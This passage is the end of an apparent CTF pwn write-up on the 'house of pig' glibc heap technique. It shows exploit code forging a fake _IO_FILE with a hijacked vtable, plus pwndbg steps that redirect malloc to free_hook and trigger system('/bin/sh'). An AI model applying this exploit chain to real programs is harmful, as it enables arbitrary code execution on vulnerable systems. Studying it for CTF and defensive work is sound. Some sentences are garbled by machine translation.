fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable)        #change vtable
payload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)
sa('Gift:', payload)
#When using role 3, that is, daddy applies to C4, there will be a gift
sla('user:\n', '')

Set the chain in largebin

There will be a gift when applying for C4 using role three daddy

An additional chunk of 0xf0 will be applied, and data will be read into it continuously

The chunk of 0xf0 will be cut from the unsortedbin

The chain in largebin points to this chunk. You can use the fp command to use this address as an IO_FILE structure view

According to io_str_overflow application chunk size calculation rules

new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100
$2 = 0x94

According to malloc's application rules, a chunk of 0xa0 will be applied. At this time, the first chunk in the tcache of 0xa0 is free_hook-0x10

  After malloc applies for chunk, if_ IO_ buf_ If there is data in the space pointed to by base, the data will be copied to new_ In buf, that is, free_hook-0x10,_ IO_buf_base points to the address of / bin/sh and system, so / bin/sh will eventually be copied to free_hook-0x10, copy the system to free_hook-0x8 and free_hook, and finally calling free will trigger system('/bin/sh')

and   The trigger condition of house of pig is to call  _ IO_flush_all_lockp requires one of the following three conditions:

  1. When libc executes the abort process.
  2. The program explicitly calls exit.
  3. The program can return through the main function.

This program calls a lot of exit, which can trigger the house of pig

We'll follow you to io_ str_ Look at the execution process in overflow

pwndbg> p/x new_size
$3 = 0x94

size is the same as we calculated

Before calling malloc

After calling malloc

free_hook has been applied for

Next, start memcpy

old_ The data that buf points to is / bin/sh

After memcpy execution

Then comes the getshell

Finally, why did you apply for chunk to free_hook-0x10 instead of free_hook-0x8 is because the new version of glibc adds a check on tcache. The address applied by tcache needs to be aligned with 0x10, which is why.

0x5. End scattering

I learned a lot through this question, reviewed and consolidated a lot of knowledge points, carried out debugging with patience, hardened my head, restored the structure, and gained a lot.



Tags: pwn

Posted on Sun, 05 Sep 2021 17:45:33 -0400 by vishi83